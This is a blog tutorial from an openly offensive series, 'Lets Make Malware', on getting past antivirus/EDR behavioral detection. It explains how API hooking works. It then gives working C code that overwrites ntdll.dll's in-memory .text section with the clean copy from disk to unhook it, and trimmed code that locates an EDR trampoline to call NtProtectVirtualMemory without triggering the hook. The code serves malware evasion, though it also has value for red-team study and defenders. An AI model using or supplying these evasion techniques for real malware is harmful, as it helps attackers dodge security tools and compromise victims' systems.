Reprogrammed

Lets Make Malware – Bypassing Behavioral Detections (Hooks and Trampolines)

Lets Make Malware

Introduction

In this part, we are going to discuss bypassing behavioral detections.

Utilizing what we have learned in prior parts of this series, we can now get our malware on the target system by bypassing static detections. We can also get our malware running initially by bypassing heuristics. So, what’s left?

Now, although our malware is executing, we still need to be careful as the watchful eye of AV/EDR is ever present. We are still being monitored. This time we are going to bypass behavioral detections. So, let’s make malware!

What are Behavioral Detections?

First, we need to understand what behavioral detections are.

Machine Learning aspects aside, behavioral detections are essentially just pattern and anomaly recognition. Notepad process reaching out to the Internet? Probably (likely) malware.

Microsoft Word opening Command Prompt? Probably malware.

Software making use of VirtualAllocEx, WriteProcessMemory , and CreateRemoteThread? Almost certainly malware.

So, how do we get around these detections. We have quite a few ways to do so.

Hooking and Unhooking

The first thing we will discuss is called function unhooking. But, of course, to understand function unhooking, we must first understand hooking.

Function hooking is a way to perform some arbitrary action when a certain function is called by manipulating process memory. In the case of EDRs, they will usually hook Win32 API functions (or their lower-level NT API counterparts) by adding a jmp assembly instruction to go to one of their own functions that allows them to determine if you are trying to do something malicious or not.

Note: not all EDRs do things this way. Some may instead hook the IAT to point to their function from the start.

We can think of this as a redirect. The same way a dam alters the flow of running water, function hooking alters the execution flow of a function.

If the EDR determines it is safe, their function will usually include another jmp instruction to go back to the original function and allow it to continue.

So, how does an EDR determine if a function call is safe to continue? Among other things, they look at things like the arguments being passed to the function.

In x64 calling convention, the first four arguments to a function are passed in registers. If there are more than four arguments, the rest are pushed onto the stack.

Using CreateRemoteThread, for example, is already suspicious since this function is generally only for debuggers, but by hooking this function and checking the arguments passed to it, an EDR can also see if we are trying to run code in a remote process from a private memory region (what we get from our VirtualAlloc(Ex) call, unbacked by any program file on disk, with Read-Write-Execute (RWX) permissions.

This is highly suspicious behavior, and almost certainly malware. Furthermore, by hooking our VirtualAlloc(Ex) call, an EDR can also then run a scan on that memory region to look for known byte sequences. RWX permissions on unbacked memory regions are suspicious (as are RX, but less so), so that’s a hit.

Metasploit, Cobalt Strike, and other signatured C2 shellcode in those memory regions is another hit. An EDR at this point can safely assume it has encountered malware and kill the process. Behavioral detections have caught us!

So, what can we do? We can unhook the functions we use!

Or better yet, we can unhook the DLLs those function come from in their entirety. There is only one thing we need for this: the original, unaltered function instructions. Luckily, those exist on disk in the System32 directory.

EDRs can only hook these functions in-memory, not on-disk, as many essential system applications also utilize these functions. So, we can read the .text section of the files on-disk and replace the .text section in our process’s memory with the clean version.

An example courtesy of ired.team:

HANDLE process = GetCurrentProcess();
	MODULEINFO mi = {};
	HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");
	
	GetModuleInformation(process, ntdllModule, &mi, sizeof(mi));
	LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;
	HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
	HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
	LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);

	PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
	PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);

	for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
		PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
		
		if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
			DWORD oldProtection = 0;
			bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
			memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);
			isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
		}
	}
	
	CloseHandle(process);
	CloseHandle(ntdllFile);
	CloseHandle(ntdllMapping);
	FreeLibrary(ntdllModule);

Alternatively, we can start up a suspended process and get a clean version (specifically of NTDLL.dll) that way.

Why does this work? NTDLL.dll is one of the first DLLs to be loaded during process initialization, prior to any EDR’s DLLs which are typically what perform function hooking. When a process is created suspended, we halt the initialization just after NTDLL.dll has been loaded but prior to any other DLLs. This gives us a clean NTDLL.dll to work with as long as our sacrificial process remains suspended.

However, while this still works in some cases, there are two problems with this approach.

First, EDRs can run integrity checks. This allows them to see that a function like CreateRemoteThread that should be hooked is not hooked.

The second problem is that to perform unhooking, we must use functions that are likely hooked in the first place, such as VirtualProtect.

Now, what do we do to get around these issues?

Trampolines

We can simply choose not to unhook the functions. Instead, because we know the EDR needs to know where (which memory address) to jmp to continue function execution flow (when it is safe to do so), we can use this fact to our advantage.

We call this technique a trampoline because of the jmp assembly instruction being used.

Alternatively, we can create our own trampoline instead of using the EDR’s, however, doing it this way has the downside of needing to create an unbacked memory region with execute permissions. This leads to the same amount of scrutiny from EDRs we discussed above.

An example from the EDRSandblast Github (shortened for brevity):

pNtProtectVirtualMemory getSafeVirtualProtectUsingTrampoline(DWORD unhook_method) {
    PE* ntdllPE_mem = NULL;
    PE* ntdllPE_disk = NULL;
    /*
* Get a view of ntdll.dll PE both on disk and in memory, while caching it for later access
* "Rebase" the disk version to the same base address of the memory-mapped one for coherence
*/
    getNtdllPEs(&ntdllPE_mem, &ntdllPE_disk);

    PVOID disk_NtProtectVirtualMemory = PE_functionAddr(ntdllPE_disk, "NtProtectVirtualMemory");
    PVOID mem_NtProtectVirtualMemory = PE_functionAddr(ntdllPE_mem, "NtProtectVirtualMemory");

    size_t patchSize = 0;
/*
* Return the address (in "mem") of the first difference between two memory ranges ("mem" & "disk") of size "len".
* If the "lenPatch" pointer is provided, also returns the number of consecutive bytes that differ
*/
    PVOID patchAddr = findDiff(mem_NtProtectVirtualMemory, disk_NtProtectVirtualMemory, PATCH_MAX_SIZE, &patchSize);

    if (patchSize == 0) {
        return (pNtProtectVirtualMemory)mem_NtProtectVirtualMemory;
    }

        PVOID trampoline = NULL;
/*
* Search for a piece of executable code starting with pattern followed by a jump to expectedTarget
*/
        trampoline = searchTrampolineInExecutableMemory((PBYTE)disk_NtProtectVirtualMemory + ((PBYTE)patchAddr - (PBYTE)mem_NtProtectVirtualMemory), patchSize, (PBYTE)patchAddr + patchSize);
        if (NULL == trampoline) {
            debugf("Trampoline for NtProtectVirtualMemory was impossible to find !\n");
            exit(1);
        }
        return (pNtProtectVirtualMemory) trampoline;
}

Explanation of the code:

This trampoline can be searched for and used as a replacement for the hooked function, without the need to allocate executable memory, or call any API except VirtualQuery, which is most likely not monitored being an innocuous function.

To find the trampoline in memory, we browse the whole address space using VirtualQuery looking for commited and executable memory. For each such region of memory, we scan it to look for a jump instruction that targets the address following the overwritten instructions (NtProtectVirtualMemory+8 in our previous example). The trampoline can then be used to call the hooked function without triggering the hook.

Trampolines solve both issues we had with unhooking but there is something else we could do as well. However, we will save that for next time!

Recap

To recap, both unhooking and trampolines can help us get around one aspect of behavioral detections. Unhooking lets us use the original functions in our codebase without modification and can be simpler to implement.

However, unhooking requires functions that are likely hooked in the first place and EDRs can check if these hooks are still in place, presenting an opportunity for detection.

Trampolines require a bit more work to implement but let us get around hook integrity checks and only require one API function - VirtualQuery.

Resources

MSDN: VirtualQuery

ired.team: Unhooking

ired.team: Unhooking 2

TheD1rkMtr’s Github: Unhooking Collection

0xtriboulet: Perun’s Fart in Rust

Sektor7: Perun’s Fart

OffensiveNim Repo: Unhooking